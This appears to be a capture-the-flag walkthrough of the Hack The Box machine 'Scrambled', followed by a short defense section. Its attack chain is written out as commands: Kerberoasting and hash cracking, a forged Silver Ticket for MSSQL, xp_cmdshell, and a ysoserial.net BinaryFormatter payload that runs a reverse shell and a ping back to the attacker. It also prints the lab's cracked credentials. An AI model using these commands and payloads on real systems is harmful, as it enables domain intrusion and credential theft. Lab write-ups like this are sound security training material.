HTB Scrambled Walkthrough: Silver Ticket and .NET Deserialization

HTB Scrambled Writeup: Kerberoasting, Silver Ticket on MSSQL and RCE via BinaryFormatter insecure deserialization. Static analysis with dnSpy and ysoserial.net
- Posted on 2026-06-05
- Reading time: 10 min
Scrambled is a Windows machine/VM from HTB (Hack The Box) that completely disables NTLM and forces Kerberos authentication on everything. This breaks most standard tools—nxc, smbmap, impacket with incorrect flags—if you don't understand how Kerberos works at a low level. The final part is an insecure deserialization via BinaryFormatter on a custom .NET service, statically analyzed with dnSpy.
| Difficulty | Medium |
| OS | Windows |
| Theme | Kerberos-only, Kerberoasting, Silver Ticket, MSSQL, Insecure Deserialization, BinaryFormatter, ysoserial.net |
-– This breaks most standard tools—nxc, smbmap, impacket with incorrect flags—if you don't understand how Kerberos works at a low level. The final part is an insecure deserialization via BinaryFormatter on a custom .NET service, statically analyzed with dnSpy.
Phase 1 – Enumeration #
sudo mynmap 10.129.8.212mynmap is a custom wrapper for nmap designed for CTFs: it automatically performs four phases in sequence: fast TCP discovery, scripted service/OS detection, vulnerability checks on common ports, and a UDP scan of the most relevant candidates. All in one command, without missing a beat. Output:
[*] PHASE 1: Fast TCP port discovery...
[+] TCP ports found: 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389,...
[*] PHASE 2: Service and OS detection...
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local)
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2019 RTM
4411/tcp open found? SCRAMBLECORP_ORDERS_V1.0.3;
5985/tcp open http Microsoft HTTPAPI (WinRM)
[*] PHASE 4: Smart UDP scan...
[+] UDP confermati OPEN: 53,88,123,389Relevant ports:
- 88 – Kerberos → we are on a DC
- 389/636 – LDAP/LDAPS
- 445 – SMB (responds but without NTLM, as we will see)
- 1433 – MSSQL
- 5985 – WinRM → remote access possible if we find credentials
- 4411 – unknown service, text banner
SCRAMBLECORP_ORDERS_V1.0.3;
/ Etc / hosts #
10.129.8.212 scrm.local DC1.scrm.localkrb5.conf #
[libdefaults]
default_realm = SCRM.LOCAL
[realms]
SCRM.LOCAL = {
kdc = DC1.scrm.local
}
[domain_realm]
.scrm.local = SCRM.LOCAL
scrm.local = SCRM.LOCALPhase 2 – Reconnaissance and first access #
4411 port #
First thing: Connect to unknown port.
nc -nv 10.129.8.212 4411Answer: SCRAMBLECORP_ORDERS_V1.0.3;
Custom text service. Without knowing the commands, we try to enumerate them using ffuf and fuzzing techniques—no useful results. It turns out that valid commands can't be guessed randomly: code analysis is needed. We'll leave it aside for now.
Website – port 80 #
Browsing the company website it emerges:
- NTLM has been disabled due to a previous NTLM relay attack.
- The password reset policy requires that the new password be the same as the username.
- In a screenshot of the IT Support section you can see the path
C:\Users\ksimpson>— username found - Page
/salesorders.htmldescribes the Sales Order Client application and explicitly mentions port 4411 and an “Enable debug logging” option — the first concrete clue as to what is running on that port
We are trying ksimpson:ksimpson via Kerberos:
kinit ksimpson@SCRM.LOCAL
# password: ksimpson
klistTGT obtained. SMB is listed:
nxc smb 10.129.8.212 -u ksimpson -p ksimpson -k --sharesOutput:
SMB 10.129.8.212 445 DC1 ADMIN$ Remote Admin
SMB 10.129.8.212 445 DC1 C$ Default share
SMB 10.129.8.212 445 DC1 HR
SMB 10.129.8.212 445 DC1 IPC$ READ Remote IPC
SMB 10.129.8.212 445 DC1 IT
SMB 10.129.8.212 445 DC1 NETLOGON READ Logon server share
SMB 10.129.8.212 445 DC1 Public READ
SMB 10.129.8.212 445 DC1 Sales
SMB 10.129.8.212 445 DC1 SYSVOL READ Logon server shareksimpson read only Public. Inside there is a PDF — Network Security Changes.pdf — which confirms:
- NTLM disabled on the entire network
- SQL access removed for all except network administrators
Phase 3 – Kerberoasting #
The PDF mentions a compromised SQL database. It looks for accounts with SPNs associated with MSSQL:
GetUserSPNs.py scrm.local/ksimpson:ksimpson \
-request -dc-host DC1.scrm.local -k -no-passNote: if you use -dc-host (FQDN) and not -dc-ip, because with NTLM disabled, impacket must construct the SPN from the hostname. With IP, it fails.
You get TGS hash for sqlsvc (SPN: MSSQLSvc/DC1.scrm.local:1433).
Crack with hashcat (mode 13100, hashcat guide for password cracking ):
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txtResult: sqlsvc:Pegasus60
Phase 4 – Silver Ticket #
As the PDF says: only network admins have access to SQL. sqlsvc is the service account that performs MSSQL — It doesn't necessarily have a SQL login configured. And it doesn't.
The solution is a Silver Tickets: directly forge a TGS for MSSQL service by impersonating Administrator, without involving the KDC. The ticket is encrypted with the service account key—and we have that hash.
Difference between TGT and Silver Ticket #
- TGT: You get it from the KDC with your credentials. It's the starting point for requesting service tickets.
- Silver Tickets: Forge a TGS for a specific service directly, using the NT hash of the service account. No requests to the KDC. Invisible to DC logs.
Necessary ingredients #
- NT Hash of
sqlsvc→b999a16500b87d17ec7f2e2a68778f05(derived fromPegasus60) - Domain SID
- Service SPN
Obtaining the Domain SID #
getPac.py -targetUser administrator scrm.local/ksimpson:ksimpson
# Domain SID: S-1-5-21-2743207045-1827831105-2542523200Forge the ticket #
ticketer.py \
-nthash b999a16500b87d17ec7f2e2a68778f05 \
-domain-sid S-1-5-21-2743207045-1827831105-2542523200 \
-domain scrm.local \
-spn MSSQLSvc/DC1.scrm.local:1433 \
Administratorexport KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -no-pass -k DC1.scrm.local -target-ip 10.129.8.212Login as SCRM\administrator on MSSQL.
Phase 5 – MSSQL Enumeration #
SELECT name FROM sys.databases;
-- ScrambleHR
USE ScrambleHR;
SELECT name FROM sys.tables;
-- Employees, UserImport, Timesheets
SELECT * FROM UserImport;Clear credentials in the table UserImport:
MiscSvc : ScrambledEggs9900Shell via xp_cmdshell #
enable_xp_cmdshell
xp_cmdshell "whoami"
-- scrm\sqlsvcYou get a reverse shell like sqlsvc via PowerShell payload in base64. The shell runs with privileges sqlsvc — service account, no useful elevated privileges. Nothing interesting from here.
Step 6 – Login as miscsvc #
With the credentials found in MSSQL you can log in via WinRM Kerberos:
kinit miscsvc@SCRM.LOCAL
# password: ScrambledEggs9900
export KRB5CCNAME=/tmp/krb5cc_1000
evil-winrm -i DC1.scrm.local -r SCRM.LOCALShell as scrm\miscsvc. user.txt is located on the desktop.
Phase 6b – BloodHound CE #
Before proceeding, launch BloodHound CE to map the domain and look for privilege escalation paths:
bloodhound-ce-python -d scrm.local -u 'sqlsvc' -p 'Pegasus60' \
-ns 10.129.8.212 -dc DC1.scrm.local -c all --zip \
-k --disable-autogc --dns-tcp --use-ldapsRepeated also with ksimpson e miscsvc. No interesting paths — no abusive ACLs, no delegations, no directly reachable DAs for any of the three users.
At this point it is clear that the path does not pass through AD but through the custom application listening on the 4411. We go to dnSpy.
Step 7 – Static Analysis with dnSpy #
In the share IT (accessible as miscsvc) are found ScrambleClient.exe e ScrambleLib.dll in Apps\Sales Order Client.
The DLL is analyzed with dnSpy , a .NET assembly decompiler that converts the binary into readable C# code.
How to navigate dnSpy #
In Assembly Explorer, expand ScrambleLib — custom classes. Ignore everything else (ScrambleLib.My, Type References, etc.) — autogenerated VB.NET boilerplate, not interesting.
Basic Rules for Reading Hacking Code #
You don't need to understand everything—you just need to find the path from the external input to the dangerous function.
- Input from outside — what comes from the network, from parameters, from files
- Dangerous functions
Deserialize,Execute,Process.Start,eval - Credential comparisons
string.Compare,==on username/password - The rest is support code — ignore it.
Rule of thumb for ethical hackers: You don't need to understand all the code—you need to find the path from the input to the malicious function.
ScrambleNetShared – the protocol #
First class to open. Contains only constants:
public const string CODE_LOGON = "LOGON";
public const string CODE_UPLOAD_ORDER = "UPLOAD_ORDER";
public const string CODE_LIST_ORDERS = "LIST_ORDERS";
public const string CODE_QUIT = "QUIT";
public const char MessagePartSeparator = ';';
public const char ContentListSeparator = '|';
public const int ServerPort = 4411;public const = public variable with a fixed value that never changes.
This class gives us the complete protocol—the commands, the separators, the port. Everything we saw when connecting with nc it was defined here.
ScrambleNetClient.Logon – developer backdoor #
// dentro la classe ScrambleNetClient
public bool Logon(string Username, string Password)
{
if (string.Compare(Username, "scrmdev", true) == 0)
{
Log.Write("Developer logon bypass used");
result = true; // ← ritorna true senza verificare nulla
}
}string.Compare(Username, "scrmdev", true) compare username with string "scrmdev" ignoring upper/lower case.
If it matches → return true directly, without sending anything to the server. The password is completely ignored.
This bypass exists only in the client — the server knows nothing about it. scrmdev.
SalesOrder – the serializable class #
[Serializable] // ← permesso di serializzazione
public class SalesOrder
{
public string ReferenceNumber { get; set; }
public string QuoteReference { get; set; }
public string SalesRep { get; set; }
public List<string> OrderItems { get; set; }
public DateTime DueDate { get; set; }
public double TotalCost { get; set; }
}[Serializable] is an attribute — it tells .NET “this class can be serialized/deserialized.” Without it BinaryFormatter refuses to touch her.
The fields are just data: text, list, date, number. Nothing executable—that's not the vulnerability.
SalesOrder.DeserializeFromBase64 – the weak point #
// dentro la classe SalesOrder
public static SalesOrder DeserializeFromBase64(string Base64)
{
byte[] buffer = Convert.FromBase64String(Base64);
BinaryFormatter binaryFormatter = new BinaryFormatter();
using (MemoryStream memoryStream = new MemoryStream(buffer))
{
result = (SalesOrder)binaryFormatter.Deserialize(memoryStream);
}
}Line by line from ethical hacker:
Convert.FromBase64String(Base64) — converts the base64 payload we sent into bytes. Those bytes end up in buffer.
new BinaryFormatter() —creates the deserializer. It doesn't do anything by itself—it's the line after that that matters.
binaryFormatter.Deserialize(memoryStream) —this is where it all starts. It takes the bytes of our payload and executes them without checking their contents.
(SalesOrder) — the cast, happens after deserialization. If the object is not a SalesOrder → error. But our code has already been executed before.
How the message is constructed #
// dentro ScrambleNetClient
string text = ScrambleNetRequest.GetCodeFromMessageType(Request.Type) + ";" + Request.Parameter + "\n";
streamWriter.Write(text);The client builds the message by chaining command + ; + parameter. This explains why we were sending UPLOAD_ORDER;base64payload.
Full flow from input to RCE #
nc manda → UPLOAD_ORDER;AAEAAAD...base64payload
↓ server splitta sul ;
array[1] = "AAEAAAD...base64payload" ← nostro input
↓
Convert.FromBase64String → bytes in buffer
↓
binaryFormatter.Deserialize(buffer) ← codice eseguito qui
↓
(SalesOrder) cast → ERROR_GENERAL ← ma è già troppo tardi
↓
shell come nt authority\systemPhase 8 – Insecure Deserialization: theory #
What is serialization — a complete explanation #
Imagine having an object in memory: a sales order with a reference number, date, and amount. That data exists only in RAM as long as the program is running.
Serializing means turning that object into a sequence of bytes — so you can save it to disk, send it over the network, or pass it to another application.
Deserializing is the opposite: taking those bytes and reconstructing the original object in memory.
Concrete example in C#:
// L'app crea un ordine
SalesOrder order = new SalesOrder();
order.ReferenceNumber = "ORD-001";
order.TotalCost = 1500.00;
// Lo serializza in bytes → base64 per mandarlo in rete
BinaryFormatter bf = new BinaryFormatter();
MemoryStream ms = new MemoryStream();
bf.Serialize(ms, order);
string payload = Convert.ToBase64String(ms.ToArray());
// payload = "AAEAAAD/////AQAAAA..." (stringa base64)
// Il server riceve la stringa, la decodifica e ricostruisce l'oggetto
byte[] buffer = Convert.FromBase64String(payload);
SalesOrder ricevuto = (SalesOrder)bf.Deserialize(new MemoryStream(buffer));
// ricevuto.ReferenceNumber == "ORD-001" ✓So far, so good. The problem arises when the server doesn't check what it's receiving.
Where is the vulnerability? #
BinaryFormatter It's blind. When it receives bytes, it executes them faithfully—it doesn't ask questions, it doesn't check the type, it doesn't validate anything. It reconstructs whatever object is encoded in those bytes.
The critical point is this: in .NET, some objects execute code automatically during their construction . There are classes that call system operations in their constructor or initialization methods—opening files, starting processes, making network calls.
If you build such an object and serialize it in the correct format, when BinaryFormatter deserializes it and executes that code — before the program can even check “wait, this is not a SalesOrder.”
Normal flow:
Client manda: bytes[SalesOrder legittimo]
Server fa: bf.Deserialize(bytes) → SalesOrder ✓
cast a SalesOrder ✓
usa i dati dell'ordine ✓Flow with exploit:
Attaccante manda: bytes[oggetto malevolo con cmd.exe incorporato]
Server fa: bf.Deserialize(bytes) → ricostruisce l'oggetto
→ durante la ricostruzione: cmd.exe viene eseguito ← RCE
cast a SalesOrder ✗ → ERROR_GENERALThe cast fails, then the server responds with ERROR_GENERALBut the command has already been executed—the shell is already open on the listener. That's why we see the error in this box, but the connection still arrives.
What is a gadget chain? #
Classes that, when deserialized, execute arbitrary code are called gadgets . They're not malware—they're regular .NET Framework, WPF, and PowerShell classes. They do legitimate things, but if constructed correctly, they become exploit vectors.
A gadget chain is a sequence of these objects linked together, where each triggers the next, until the desired command is finally executed.
Most common gadgets for BinaryFormatter:
| Gadget | How it works |
|---|---|
TextFormattingRunProperties | Contains internal XAML that is parsed during deserialization, and that XAML invokes Process.Start |
WindowsIdentity | Abuses the Windows authentication mechanism to invoke code |
TypeConfuseDelegate | Confuses the type system to execute an arbitrary delegate |
PSObject | Leverages the PowerShell engine — requires PowerShell installed |
Each gadget works only if the DLLs it uses are loaded in the target process. For this reason, multiple gadgets are tested until one works.
ysoserial.net — how it works #
ysoserial.net is a tool that does just one thing: given a command to execute, it generates serialized bytes in the correct format to trigger a specific gadget.
You don't have to build the payload by hand — it handles all the complexity of .NET serialization.
Main parameters:
-f → formatter: come sono serializzati i dati nell'app target
(BinaryFormatter, SoapFormatter, Json.Net, XmlSerializer, ...)
-g → gadget: quale classe .NET abusare
(TextFormattingRunProperties, WindowsIdentity, PSObject, ...)
-o → output format: raw, base64, hex
(base64 per mandarlo come testo su rete)
-c → command: il comando da eseguire sul sistema target
-t → test: esegui il payload localmente per verificare che funzioniExample — Local test to verify the gadget (opens calc.exe):
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o base64 -c "calc.exe" -tOutput: base64 string + calc.exe opens on local machine → working gadget.
Example — verification ping to Kali (to confirm RCE before shell):
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o base64 -c "ping -n 1 10.10.14.x"On Kali he listens:
tcpdump -i tun0 icmpIf the ping → RCE confirmed arrives, the shell can be sent.
Example — PowerShell reverse shell:
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o base64 -c "powershell -e <BASE64_REVSHELL>"The generated payload is a long base64 string containing serialized .NET objects — ready to be inserted into the command UPLOAD_ORDER; of the custom protocol.
Phase 9 – Exploit #
Generate the payload #
ysoserial.net takes four basic parameters:
-f→ formatter: the serialization mechanism used by the target app (BinaryFormatterin this case)-g→ gadget: the .NET class to abuse-o→ output format:base64to send it as text-c→ command: the command to execute
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o base64 ^
-c "powershell -e <BASE64_REVSHELL>"Gadget used: TextFormattingRunProperties — among the most compact available for BinaryFormatter, does not depend on specific CVEs.
First attempt error: with the gadget PSObject we obtained:
ERROR_GENERAL;Error deserializing sales order: Unable to cast object of type
'System.Management.Automation.PSObject' to type 'ScrambleLib.SalesOrder'The cast fails — but the code had already been executed. The problem was that PSObject he was not behaving correctly in this context. TextFormattingRunProperties solves the problem.
listener #
nc -lvnp 80Sending the payload #
The server does not require authentication to receive orders — LOGON It is a control implemented only in the client, not in the server. You can send UPLOAD_ORDER directly without logging in:
nc 10.129.8.212 4411
UPLOAD_ORDER;<payload_base64>Note on debug log: by enabling logging in the app (Tools > Enable Debug Logging) is created ScrambleDebugLog.txt in the same folder as the .exe. The file shows the exact command format and line Binary formatter init successful — direct confirmation that the server uses BinaryFormatter for deserialization.
Output from server:
ERROR_GENERAL;Error deserializing sales order: Exception has been thrown
by the target of an invocation.The error is expected. The cast at SalesOrder fails — but the malicious code has already been executed during deserialization.
On the listener:
connect to [10.10.14.x] from (UNKNOWN) [10.129.8.212]
whoami
nt authority\system
PS C:\Windows\system32>root.txt It is located in the Administrator desktop.
Errors made during resolution #
1. Use -dc-ip instead of -dc-host for GetUserSPNs
With NTLM disabled, impacket must construct the SPN from the FQDN. The IP is not enough.
2. Confusing TGT and Silver Ticketkinit gives a TGT. The Silver Ticket is a locally forged TGS with ticketer.py — no requests to the KDC, no logs on the DC.
3. KRB5CCNAME not re-exported
When you open a new terminal, the variable disappears. It must be re-exported after each kinit o kdestroy.
4. Wrong gadgetPSObject ran the code but the cast failed before the shell opened. TextFormattingRunProperties It's the right gadget for this scenario.
5. nxc mssql with NTLM disabled
The nxc mssql module always does an initial NTLM discovery before authenticating, even with -kWith NTLM disabled it crashes. Solution: use directly mssqlclient.py with -target-ip to separate hostname from IP.
DEFENSE #
- Do not use
BinaryFormatter— deprecated and unsafe by design. Alternatives:System.Text.Json,protobuf-net,MessagePack - Do not deserialize user input without cryptographic signature and whitelist of accepted types
- Monitor event ID 4769 with encryption type 0x17 (RC4) on privileged accounts: Silver Ticket does not generate TGT, so absence of 4768 before 4769 is a sign
- Regularly rotate Kerberoastable service account passwords
- Add sensitive accounts to the Protected Users group





